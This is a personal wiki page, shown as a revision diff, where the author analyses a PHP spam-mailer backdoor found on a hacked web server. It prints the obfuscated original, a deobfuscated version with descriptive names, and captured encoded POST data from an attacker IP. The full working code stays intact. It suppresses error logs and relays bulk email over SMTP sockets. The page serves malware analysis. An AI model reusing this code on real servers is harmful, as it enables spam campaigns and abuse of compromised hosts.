PHP Hacks: Difference between revisions
From Leo's Notes
This page was last edited on 17 March 2014, at 16:31.
No edit summary |
|||
| Line 12: | Line 12: | ||
Here is the decoded version of the code above. I've replaced the random variable and function names with something more descriptive. | |||
<syntaxhighlight lang="php" line start="1" enclose="div"> | <syntaxhighlight lang="php" line start="1" enclose="div"> | ||
<?php | <?php | ||
@error_reporting(0); | @error_reporting(0); | ||
@ini_set(" | @ini_set("error_log", NULL); | ||
@ini_set('log_errors', 0); | @ini_set('log_errors', 0); | ||
if (count($_POST) < 2) { | if (count($_POST) < 2) { | ||
die(PHP_OS." | die(PHP_OS."10+".md5(0987654321)); | ||
} | } | ||
$ | $is_encrypted = false; | ||
foreach (array_keys($_POST) as $ | foreach (array_keys($_POST) as $value) { | ||
switch ($ | // the first character of each dictionary is used | ||
case "l": $ | // to determine the key name. | ||
case "d": $ | switch ($value[0]) { | ||
case "m": $ | // list | ||
case "e"; $ | case "l": $list_name = $value; break; | ||
// data | |||
case "d": $data_name = $value; break; | |||
// mail? | |||
case "m": $mail_server = $value; break; | |||
// en = encrypt? | |||
case "e"; $is_encrypted = true; break; | |||
} | } | ||
} | } | ||
if ($ | if ($list_name === '' || $data_name === '') | ||
die(PHP_OS." | die(PHP_OS."11+".md5(0987654321)); | ||
$ | $disabled_functions = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); | ||
$ | $recipient_email = @$_POST[$list_name]; | ||
$ | $data_name = @$_POST[$data_name]; | ||
$ | $mail_server = @$_POST[$mail_server]; | ||
if ($ | if ($is_encrypted) { | ||
$ | $recipient_email = decrypt_func($recipient_email); | ||
$ | $data_name = decrypt_func($data_name); | ||
$ | $mail_server = decrypt_func($mail_server); | ||
} | } | ||
$ | $recipient_email = urldecode(stripslashes($recipient_email)); | ||
$ | $data_name = urldecode(stripslashes($data_name)); | ||
$ | $mail_server = urldecode(stripslashes($mail_server)); | ||
if (strpos($ | if (strpos($recipient_email, '#',1) != false) { | ||
$ | $email_list = preg_split('/#/', $recipient_email); | ||
$ | $email_list_count = count($email_list); | ||
} else { | } else { | ||
$ | $email_list[0] = $recipient_email; | ||
$email_list_count = 1; | |||
} | } | ||
for ($ | for ($email_i=0; $email_i < $email_list_count; $email_i++) { | ||
$ | $recipient_email = $email_list[$email_i]; | ||
if ($ | if ($recipient_email == '' || !strpos($recipient_email,'@',1)) | ||
continue; | continue; | ||
if (strpos($ | if (strpos($recipient_email, ';', 1) != false) { | ||
list($ | list($recipient_first_name, $recipient_last_name, $recipient_email) = preg_split('/;/',strtolower($recipient_email)); | ||
$ | $recipient_first_name = ucfirst($recipient_first_name); | ||
$ | $recipient_last_name = ucfirst($recipient_last_name); | ||
$ | $recipient_email_domain = next(explode('@', $recipient_email)); | ||
if ($ | if ($recipient_last_name == '' || $recipient_first_name == '') { | ||
$ | $recipient_last_name = $recipient_first_name = ''; $recipient_email = $recipient_email; | ||
} else { | } else { | ||
$ | $recipient_email = "\"$recipient_first_name $recipient_last_name\" <$recipient_email>"; | ||
} | } | ||
} else { | } else { | ||
$ | $recipient_last_name = $recipient_first_name = ''; | ||
$ | $recipient_email = strtolower($recipient_email); | ||
$ | $recipient_email_domain = next(explode('@', $recipient_email)); | ||
} | } | ||
preg_match('|<USER>(.*)</USER>|imsU', $ | preg_match('|<USER>(.*)</USER>|imsU', $data_name, $sender_username); | ||
$ | $sender_username = $sender_username[1]; | ||
preg_match('|<NAME>(.*)</NAME>|imsU', $ | preg_match('|<NAME>(.*)</NAME>|imsU', $data_name, $sender_name); | ||
$ | $sender_name = $sender_name[1]; | ||
preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $ | preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $data_name, $email_subject); | ||
$ | $email_subject = $email_subject[1]; | ||
preg_match('|<SBODY>(.*)</SBODY>|imsU', $ | preg_match('|<SBODY>(.*)</SBODY>|imsU', $data_name, $email_message); | ||
$ | $email_message= $email_message[1]; | ||
$ | $email_subject = str_replace("%R_NAME%", $recipient_first_name, $email_subject); | ||
$ | $email_subject = str_replace("%R_LNAME%", $recipient_last_name, $email_subject); | ||
$ | $email_message = str_replace("%R_NAME%", $recipient_first_name, $email_message); | ||
$ | $email_message = str_replace("%R_LNAME%", $recipient_last_name, $email_message); | ||
$ | $sender_mail_server = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']); | ||
if (ne667da76($ | if (ne667da76($sender_mail_server) || @ini_get('safe_mode')) | ||
$ | $can_send_X_headers = false; | ||
else $ | else $can_send_X_headers = true; | ||
$ | $sender_email = "$sender_username@$sender_mail_server"; | ||
if ($ | if ($sender_name != '') | ||
$ | $sender_email = "$sender_name <$sender_email>"; | ||
else $ | else $sender_email = $sender_email; | ||
$ | $mail_header = "From: $sender_email\r\n"; | ||
$ | $mail_header .= "Reply-To: $sender_email\r\n"; | ||
$ | $mail_header2 = "X-Priority: 3 (Normal)\r\n"; | ||
$ | $mail_header2 .= "MIME-Version: 1.0\r\n"; | ||
$ | $mail_header2 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"; | ||
$ | $mail_header2 .= "Content-Transfer-Encoding: 8bit\r\n"; | ||
$ | $mail_func = 'mail'; | ||
if (!in_array(' | if (!in_array('mail', $disabled_functions)) { | ||
if ($ | if ($can_send_X_headers) { | ||
if (@$ | if (@$mail_func($recipient_email, $email_subject, $email_message, $mail_header.$mail_header2, "-f$sender_email")) { | ||
echo(" | echo("OK".md5(1234567890)."+0\n"); continue; | ||
} | } | ||
} else { | } else { | ||
if (@$ | if (@$mail_func($recipient_email, $email_subject, $email_message, $mail_header2)) { | ||
echo(" | echo("OK".md5(1234567890)."+0\n"); continue; | ||
} | } | ||
} | } | ||
} | } | ||
$v4340fd73 = "Date: " . @date("D, j M Y G:i:s O")."\r\n" . $ | $v4340fd73 = "Date: " . @date("D, j M Y G:i:s O")."\r\n" . $mail_header; | ||
$v4340fd73 .= "Message-ID: <".preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time()))."@$ | $v4340fd73 .= "Message-ID: <".preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time()))."@$sender_mail_server>\r\n"; | ||
$v4340fd73 .= "To: $ | $v4340fd73 .= "To: $recipient_email\r\n"; | ||
$v4340fd73 .= "Subject: $ | $v4340fd73 .= "Subject: $email_subject\r\n"; | ||
$v4340fd73 .= $ | $v4340fd73 .= $mail_header2; | ||
$v841a2d68 = $v4340fd73."\r\n".$ | $v841a2d68 = $v4340fd73."\r\n".$email_message; | ||
if ($ | if ($mail_server == '') | ||
$ | $mail_server = get_mail_server_func($recipient_email_domain); | ||
if (($ | if (($mailer_func_return_code = custom_mailer_func($sender_email, $recipient_email, $v841a2d68, $sender_mail_server, $mail_server)) == 0) { | ||
echo(" | echo("OK".md5(1234567890)."+1\n"); | ||
continue; | continue; | ||
} | } else { | ||
echo PHP_OS."20+".md5(0987654321)."+$mailer_func_return_code\n"; | |||
echo PHP_OS." | |||
} | } | ||
} | } | ||
function ne667da76($ | function ne667da76($server){ | ||
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $ | return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $server); | ||
} | } | ||
// defined but not used | |||
$ | function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685="=\r\n", $v92f21a0f = 0, $v3303c65a = false) { | ||
if ($v11a95b8a >= 75) { $v11a95b8a = $v92f21a0f; | $vf5a8e923 = strlen($vb45cffe0); | ||
$ | $mailer_func_return_code = ''; | ||
for($email_i = 0; $email_i < $vf5a8e923; $email_i++) { | |||
if ($v11a95b8a >= 75) { | |||
$v11a95b8a = $v92f21a0f; | |||
$mailer_func_return_code .= $v7fa1b685; | |||
} | } | ||
$v4a8a08f0 = ord($vb45cffe0[$ | $v4a8a08f0 = ord($vb45cffe0[$email_i]); | ||
if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) { | if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) { | ||
if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) { | if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) { | ||
$ | $mailer_func_return_code.=chr($v4a8a08f0); | ||
$v11a95b8a = 0; continue; | $v11a95b8a = 0; continue; | ||
} | } | ||
$ | $mailer_func_return_code .='='.str_pad(strtoupper(dechex($v4a8a08f0)), 2, '0', STR_PAD_LEFT); | ||
$v11a95b8a += 3; continue; | $v11a95b8a += 3; continue; | ||
} | } | ||
$ | $mailer_func_return_code .= chr($v4a8a08f0); $v11a95b8a++; | ||
} | } | ||
return $ | return $mailer_func_return_code; | ||
} | } | ||
function | function custom_mailer_func($sender_email, $recipient_email, $v841a2d68, $sender_mail_server, $mail_server) { | ||
global $ | global $disabled_functions; | ||
if (!in_array('fsockopen', $ | if (!in_array('fsockopen', $disabled_functions)) | ||
$ | $socket = @fsockopen($mail_server, 25, $errno, $errstr, 20); | ||
elseif (!in_array('pfsockopen', $ | elseif (!in_array('pfsockopen', $disabled_functions)) | ||
$ | $socket = @pfsockopen($mail_server, 25, $errno, $errstr, 20); | ||
elseif (!in_array('stream_socket_client', $ | elseif (!in_array('stream_socket_client', $disabled_functions) && function_exists("stream_socket_client")) | ||
$ | $socket = @stream_socket_client("tcp://$mail_server:25", $errno, $errstr, 20); | ||
else return -1; | else return -1; | ||
if (!$ | if (!$socket) { | ||
return 1; | return 1; | ||
} else { | } else { | ||
$ | $data_name = dump_socket_data_func($socket); | ||
@fputs($ | @fputs($socket, "EHLO $sender_mail_server\r\n"); | ||
$ | $socket_data = dump_socket_data_func($socket); | ||
if (substr($ | if (substr($socket_data, 0, 3) != 250 ) | ||
return "2+($ | return "2+($recipient_email)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data); | ||
@fputs($ | @fputs($socket, "MAIL FROM:<$sender_email>\r\n"); | ||
$ | $socket_data = dump_socket_data_func($socket); | ||
if (substr($ | if (substr($socket_data, 0, 3) != 250 ) | ||
return "3+($ | return "3+($recipient_email)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data); | ||
@fputs($ | @fputs($socket, "RCPT TO:<$recipient_email>\r\n"); | ||
$ | $socket_data = dump_socket_data_func($socket); | ||
if (substr($ | if (substr($socket_data, 0, 3) != 250 && substr($socket_data, 0, 3) != 251) | ||
return "4+($ | return "4+($recipient_email)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data); | ||
@fputs($ | @fputs($socket, "DATA\r\n"); $socket_data = dump_socket_data_func($socket); | ||
if (substr($ | if (substr($socket_data, 0, 3) != 354 ) | ||
return "5+($ | return "5+($recipient_email)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data); | ||
@fputs($ | @fputs($socket, $v841a2d68."\r\n.\r\n"); | ||
$ | $socket_data = dump_socket_data_func($socket); | ||
if (substr($ | if (substr($socket_data, 0, 3) != 250 ) | ||
return "6+($ | return "6+($recipient_email)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data); | ||
@fputs($ | @fputs($socket, "QUIT\r\n"); | ||
@fclose($ | @fclose($socket); | ||
return 0; | return 0; | ||
} | } | ||
| Line 216: | Line 227: | ||
} | } | ||
function | function dump_socket_data_func($socket) { | ||
$ | $data_name = ''; | ||
while($ | while($data = @fgets($socket, 4096)) { | ||
$ | $data_name .= $data; | ||
if(substr($ | if(substr($data, 3, 1) == ' ') | ||
break; | break; | ||
} | } | ||
return $ | return $data_name; | ||
} | } | ||
function | function get_mail_server_func($vad5f82e8) { | ||
global $ | global $disabled_functions; | ||
if (!in_array('getmxrr', $ | if (!in_array('getmxrr', $disabled_functions) && function_exists("getmxrr")) { | ||
@getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816); | @getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816); | ||
if (count($v744fa43b) === 0) | if (count($v744fa43b) === 0) | ||
return '127.0.0.1'; | return '127.0.0.1'; | ||
$ | $email_i = array_keys($v6c5ea816, min($v6c5ea816)); | ||
return $v744fa43b[$ | return $v744fa43b[$email_i[0]]; | ||
} else { | } else { | ||
return '127.0.0.1'; | return '127.0.0.1'; | ||
} | } | ||
} | } | ||
function | function decrypt_func($v1cb251ec) { | ||
$v1cb251ec = base64_decode($v1cb251ec); | $v1cb251ec = base64_decode($v1cb251ec); | ||
$vc68271a6 = ''; | $vc68271a6 = ''; | ||
for($ | for($email_i = 0; $email_i < strlen($v1cb251ec); $email_i++) | ||
$vc68271a6 .= chr(ord($v1cb251ec[$ | $vc68271a6 .= chr(ord($v1cb251ec[$email_i]) ^ 2); | ||
return $vc68271a6; | return $vc68271a6; | ||
} | } | ||
?> | ?> | ||
</syntaxhighlight > | |||
I also captured the POST values that are being sent to the script: | |||
<syntaxhighlight lang="text" line start="1" enclose="div"> | |||
208.43.56.34Array | |||
( | |||
[list] => YGlvY3BrZ0JjbW4sYW1vIWBpb2Nwa2xCY21uLGFtbyFgaW9jcGkyOzM1QmNtbixhbW8hYGlvY3BpOzYyNDI6Ojs3QmNtbixhbW8hYGlvY3BpQmNtbixhbW8hYGlvY3BpcTQ3QmNtbixhbW8hYGlvY3BpdW1tZkJjbW4sYW1vIWBpb2NwbWpsQmNtbixhbW8hYGlvY3BxQmNtbixhbW8hYGlvY3BxYWpCam12b2NrbixhbW8h | |||
[data] => PldRR1A8Z25vY11wZ2dmPi1XUUdQPAg+TENPRzwgR25vYyJQZ2dmID4tTENPRzwIPlFXQEg8RHU4IiJKZ25ubT4tUVdASDwIPlFATUZbPAg+Zmt0PAg+cjwIIlN3Y25rdnsiT2dmIk1sbmtsZyJRd3JybmtncSJgZ3F2ImFqY2xhZyJ2bSJxY3RnIj5jImpwZ2Q/IGp2dnI4LS12Z2N2cDI3LHB3LVRrZmdtXV1dRG12bV1ka25ncS1wYWQsanZvbiA8anZ2cjgtLXZnY3ZwMjcscHctVGtmZ21dXV1EbXZtXWRrbmdxLXBhZCxqdm9uPi1jPAg+LXI8CD4tZmt0PAg+LVFATUZbPA== | |||
[en] => 1 | |||
) | |||
</syntaxhighlight > | </syntaxhighlight > | ||
Revision as of 16:31, 17 March 2014
These are the PHP hacks I've found in the wild. I'll post the raw and the deciphered form and a quick overview of what it does.
PHP Spammer?
<?php @error_reporting(0); @ini_set(chr(101).chr(114).'ror_log',NULL); @ini_set('log_errors',0); if (count($_POST) < 2) { die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); } $v5031e998 = false; foreach (array_keys($_POST) as $v3c6e0b8a) { switch ($v3c6e0b8a[0]) { case chr(108): $vd56b6998 = $v3c6e0b8a; break; case chr(100): $v8d777f38 = $v3c6e0b8a; break; case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; case chr(101); $v5031e998 = true; break; } } if ($vd56b6998 === '' || $v8d777f38 === '') die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321)); $v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); $v01b6e203 = @$_POST[$vd56b6998]; $v8d777f38 = @$_POST[$v8d777f38]; $v3d26b0b1 = @$_POST[$v3d26b0b1]; if ($v5031e998) { $v01b6e203 = n9a2d8ce3($v01b6e203); $v8d777f38 = n9a2d8ce3($v8d777f38); $v3d26b0b1 = n9a2d8ce3($v3d26b0b1); } $v01b6e203 = urldecode(stripslashes($v01b6e203)); $v8d777f38 = urldecode(stripslashes($v8d777f38)); $v3d26b0b1 = urldecode(stripslashes($v3d26b0b1)); if (strpos($v01b6e203, '#',1) != false) { $v16a9b63f = preg_split('/#/', $v01b6e203); $ve2942a04 = count($v16a9b63f); } else { $v16a9b63f[0] = $v01b6e203; $ve2942a04 = 1; } for ($v865c0c0b=0; $v865c0c0b < $ve2942a04;$v865c0c0b++) { $v01b6e203 = $v16a9b63f[$v865c0c0b]; if ($v01b6e203 == '' || !strpos($v01b6e203,'@',1)) continue; if (strpos($v01b6e203, ';', 1) != false) { list($va3da707b, $vbfbb12dc, $v081bde0c) = preg_split('/;/',strtolower($v01b6e203)); $va3da707b = ucfirst($va3da707b); $vbfbb12dc = ucfirst($vbfbb12dc); $v3a5939e4 = next(explode('@', $v081bde0c)); if ($vbfbb12dc == '' || $va3da707b == '') { $vbfbb12dc = $va3da707b = ''; $v01b6e203 = $v081bde0c; } else { $v01b6e203 = "\"$va3da707b $vbfbb12dc\" <$v081bde0c>"; } } else { $vbfbb12dc = $va3da707b = ''; $v081bde0c = strtolower($v01b6e203); $v3a5939e4 = next(explode('@', $v01b6e203)); } preg_match('|<USER>(.*)</USER>|imsU', $v8d777f38, $vee11cbb1); $vee11cbb1 = $vee11cbb1[1]; preg_match('|<NAME>(.*)</NAME>|imsU', $v8d777f38, $vb068931c); $vb068931c = $vb068931c[1]; preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $v8d777f38, $vc34487c9); $vc34487c9 = $vc34487c9[1]; preg_match('|<SBODY>(.*)</SBODY>|imsU', $v8d777f38, $v6f4b5f42); $v6f4b5f42= $v6f4b5f42[1]; $vc34487c9 = str_replace("%R_NAME%", $va3da707b, $vc34487c9); $vc34487c9 = str_replace("%R_LNAME%", $vbfbb12dc, $vc34487c9); $v6f4b5f42 = str_replace("%R_NAME%", $va3da707b, $v6f4b5f42); $v6f4b5f42 = str_replace("%R_LNAME%", $vbfbb12dc, $v6f4b5f42); $v0897acf4 = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']); if (ne667da76($v0897acf4) || @ini_get('safe_mode')) $v10497e3f = false; else $v10497e3f = true; $v9a5cb5d8 = "$vee11cbb1@$v0897acf4"; if ($vb068931c != '') $vd98a07f8 = "$vb068931c <$v9a5cb5d8>"; else $vd98a07f8 = $v9a5cb5d8; $vb8ddc93f = "From: $vd98a07f8\r\n"; $vb8ddc93f .= "Reply-To: $vd98a07f8\r\n"; $v3c87b187 = "X-Priority: 3 (Normal)\r\n"; $v3c87b187 .= "MIME-Version: 1.0\r\n"; $v3c87b187 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"; $v3c87b187 .= "Content-Transfer-Encoding: 8bit\r\n"; $v1e66f6b4 = 'ma'.chr(105).'l'; if (!in_array('m'.'a'.'il', $v619d75f8)) { if ($v10497e3f) { if (@$v1e66f6b4($v01b6e203, $vc34487c9, $v6f4b5f42, $vb8ddc93f.$v3c87b187, "-f$v9a5cb5d8")) { echo(chr(79).chr(75).md5(1234567890)."+0\n"); continue; } } else { if (@$v1e66f6b4($v01b6e203, $vc34487c9, $v6f4b5f42, $v3c87b187)) { echo(chr(79).chr(75).md5(1234567890)."+0\n"); continue; } } } $v4340fd73 = "Date: " . @date("D, j M Y G:i:s O")."\r\n" . $vb8ddc93f; $v4340fd73 .= "Message-ID: <".preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time()))."@$v0897acf4>\r\n"; $v4340fd73 .= "To: $v01b6e203\r\n"; $v4340fd73 .= "Subject: $vc34487c9\r\n"; $v4340fd73 .= $v3c87b187; $v841a2d68 = $v4340fd73."\r\n".$v6f4b5f42; if ($v3d26b0b1 == '') $v3d26b0b1 = n9c812bad($v3a5939e4); if (($vb4a88417 = n7b0ecdff($v9a5cb5d8, $v081bde0c, $v841a2d68, $v0897acf4, $v3d26b0b1)) == 0) { echo(chr(79).chr(75).md5(1234567890)."+1\n"); continue; } else { echo PHP_OS.chr(50).chr(48).'+'.md5(0987654321)."+$vb4a88417\n"; } } function ne667da76($v957b527b){ return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $v957b527b); } function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685="=\r\n", $v92f21a0f = 0, $v3303c65a = false) { $vf5a8e923 = strlen($vb45cffe0); $vb4a88417 = ''; for($v865c0c0b = 0; $v865c0c0b < $vf5a8e923; $v865c0c0b++) { if ($v11a95b8a >= 75) { $v11a95b8a = $v92f21a0f; $vb4a88417 .= $v7fa1b685; } $v4a8a08f0 = ord($vb45cffe0[$v865c0c0b]); if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) { if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) { $vb4a88417.=chr($v4a8a08f0); $v11a95b8a = 0; continue; } $vb4a88417 .='='.str_pad(strtoupper(dechex($v4a8a08f0)), 2, '0', STR_PAD_LEFT); $v11a95b8a += 3; continue; } $vb4a88417 .= chr($v4a8a08f0); $v11a95b8a++; } return $vb4a88417; } function n7b0ecdff($vd98a07f8, $v01b6e203, $v841a2d68, $v0897acf4, $v3d26b0b1) { global $v619d75f8; if (!in_array('fsockopen', $v619d75f8)) $v66b18866 = @fsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array('pfsockopen', $v619d75f8)) $v66b18866 = @pfsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array('stream_socket_client', $v619d75f8) && function_exists("stream_socket_client")) $v66b18866 = @stream_socket_client("tcp://$v3d26b0b1:25", $v70106d0d, $v809b1abe, 20); else return -1; if (!$v66b18866) { return 1; } else { $v8d777f38 = n54070395($v66b18866); @fputs($v66b18866, "EHLO $v0897acf4\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "2+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "MAIL FROM:<$vd98a07f8>\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "3+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "RCPT TO:<$v01b6e203>\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 && substr($ve98d2f00, 0, 3) != 251) return "4+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "DATA\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 354 ) return "5+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, $v841a2d68."\r\n.\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "6+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "QUIT\r\n"); @fclose($v66b18866); return 0; } } function n54070395($v66b18866) { $v8d777f38 = ''; while($v341be97d = @fgets($v66b18866, 4096)) { $v8d777f38 .= $v341be97d; if(substr($v341be97d, 3, 1) == ' ') break; } return $v8d777f38; } function n9c812bad($vad5f82e8) { global $v619d75f8; if (!in_array('getmxrr', $v619d75f8) && function_exists("getmxrr")) { @getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816); if (count($v744fa43b) === 0) return '127.0.0.1'; $v865c0c0b = array_keys($v6c5ea816, min($v6c5ea816)); return $v744fa43b[$v865c0c0b[0]]; } else { return '127.0.0.1'; } } function n9a2d8ce3($v1cb251ec) { $v1cb251ec = base64_decode($v1cb251ec); $vc68271a6 = ''; for($v865c0c0b = 0; $v865c0c0b < strlen($v1cb251ec); $v865c0c0b++) $vc68271a6 .= chr(ord($v1cb251ec[$v865c0c0b]) ^ 2); return $vc68271a6; } ?>
Here is the decoded version of the code above. I've replaced the random variable and function names with something more descriptive.
<?php
@error_reporting(0);
@ini_set("error_log", NULL);
@ini_set('log_errors', 0);
if (count($_POST) < 2) {
die(PHP_OS."10+".md5(0987654321));
}
$is_encrypted = false;
foreach (array_keys($_POST) as $value) {
// the first character of each dictionary is used
// to determine the key name.
switch ($value[0]) {
// list
case "l": $list_name = $value; break;
// data
case "d": $data_name = $value; break;
// mail?
case "m": $mail_server = $value; break;
// en = encrypt?
case "e"; $is_encrypted = true; break;
}
}
if ($list_name === '' || $data_name === '')
die(PHP_OS."11+".md5(0987654321));
$disabled_functions = preg_split('/\,(\ +)?/', @ini_get('disable_functions'));
$recipient_email = @$_POST[$list_name];
$data_name = @$_POST[$data_name];
$mail_server = @$_POST[$mail_server];
if ($is_encrypted) {
$recipient_email = decrypt_func($recipient_email);
$data_name = decrypt_func($data_name);
$mail_server = decrypt_func($mail_server);
}
$recipient_email = urldecode(stripslashes($recipient_email));
$data_name = urldecode(stripslashes($data_name));
$mail_server = urldecode(stripslashes($mail_server));
if (strpos($recipient_email, '#',1) != false) {
$email_list = preg_split('/#/', $recipient_email);
$email_list_count = count($email_list);
} else {
$email_list[0] = $recipient_email;
$email_list_count = 1;
}
for ($email_i=0; $email_i < $email_list_count; $email_i++) {
$recipient_email = $email_list[$email_i];
if ($recipient_email == '' || !strpos($recipient_email,'@',1))
continue;
if (strpos($recipient_email, ';', 1) != false) {
list($recipient_first_name, $recipient_last_name, $recipient_email) = preg_split('/;/',strtolower($recipient_email));
$recipient_first_name = ucfirst($recipient_first_name);
$recipient_last_name = ucfirst($recipient_last_name);
$recipient_email_domain = next(explode('@', $recipient_email));
if ($recipient_last_name == '' || $recipient_first_name == '') {
$recipient_last_name = $recipient_first_name = ''; $recipient_email = $recipient_email;
} else {
$recipient_email = "\"$recipient_first_name $recipient_last_name\" <$recipient_email>";
}
} else {
$recipient_last_name = $recipient_first_name = '';
$recipient_email = strtolower($recipient_email);
$recipient_email_domain = next(explode('@', $recipient_email));
}
preg_match('|<USER>(.*)</USER>|imsU', $data_name, $sender_username);
$sender_username = $sender_username[1];
preg_match('|<NAME>(.*)</NAME>|imsU', $data_name, $sender_name);
$sender_name = $sender_name[1];
preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $data_name, $email_subject);
$email_subject = $email_subject[1];
preg_match('|<SBODY>(.*)</SBODY>|imsU', $data_name, $email_message);
$email_message= $email_message[1];
$email_subject = str_replace("%R_NAME%", $recipient_first_name, $email_subject);
$email_subject = str_replace("%R_LNAME%", $recipient_last_name, $email_subject);
$email_message = str_replace("%R_NAME%", $recipient_first_name, $email_message);
$email_message = str_replace("%R_LNAME%", $recipient_last_name, $email_message);
$sender_mail_server = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']);
if (ne667da76($sender_mail_server) || @ini_get('safe_mode'))
$can_send_X_headers = false;
else $can_send_X_headers = true;
$sender_email = "$sender_username@$sender_mail_server";
if ($sender_name != '')
$sender_email = "$sender_name <$sender_email>";
else $sender_email = $sender_email;
$mail_header = "From: $sender_email\r\n";
$mail_header .= "Reply-To: $sender_email\r\n";
$mail_header2 = "X-Priority: 3 (Normal)\r\n";
$mail_header2 .= "MIME-Version: 1.0\r\n";
$mail_header2 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n";
$mail_header2 .= "Content-Transfer-Encoding: 8bit\r\n";
$mail_func = 'mail';
if (!in_array('mail', $disabled_functions)) {
if ($can_send_X_headers) {
if (@$mail_func($recipient_email, $email_subject, $email_message, $mail_header.$mail_header2, "-f$sender_email")) {
echo("OK".md5(1234567890)."+0\n"); continue;
}
} else {
if (@$mail_func($recipient_email, $email_subject, $email_message, $mail_header2)) {
echo("OK".md5(1234567890)."+0\n"); continue;
}
}
}
$v4340fd73 = "Date: " . @date("D, j M Y G:i:s O")."\r\n" . $mail_header;
$v4340fd73 .= "Message-ID: <".preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time()))."@$sender_mail_server>\r\n";
$v4340fd73 .= "To: $recipient_email\r\n";
$v4340fd73 .= "Subject: $email_subject\r\n";
$v4340fd73 .= $mail_header2;
$v841a2d68 = $v4340fd73."\r\n".$email_message;
if ($mail_server == '')
$mail_server = get_mail_server_func($recipient_email_domain);
if (($mailer_func_return_code = custom_mailer_func($sender_email, $recipient_email, $v841a2d68, $sender_mail_server, $mail_server)) == 0) {
echo("OK".md5(1234567890)."+1\n");
continue;
} else {
echo PHP_OS."20+".md5(0987654321)."+$mailer_func_return_code\n";
}
}
function ne667da76($server){
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $server);
}
// defined but not used
function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685="=\r\n", $v92f21a0f = 0, $v3303c65a = false) {
$vf5a8e923 = strlen($vb45cffe0);
$mailer_func_return_code = '';
for($email_i = 0; $email_i < $vf5a8e923; $email_i++) {
if ($v11a95b8a >= 75) {
$v11a95b8a = $v92f21a0f;
$mailer_func_return_code .= $v7fa1b685;
}
$v4a8a08f0 = ord($vb45cffe0[$email_i]);
if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) {
if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) {
$mailer_func_return_code.=chr($v4a8a08f0);
$v11a95b8a = 0; continue;
}
$mailer_func_return_code .='='.str_pad(strtoupper(dechex($v4a8a08f0)), 2, '0', STR_PAD_LEFT);
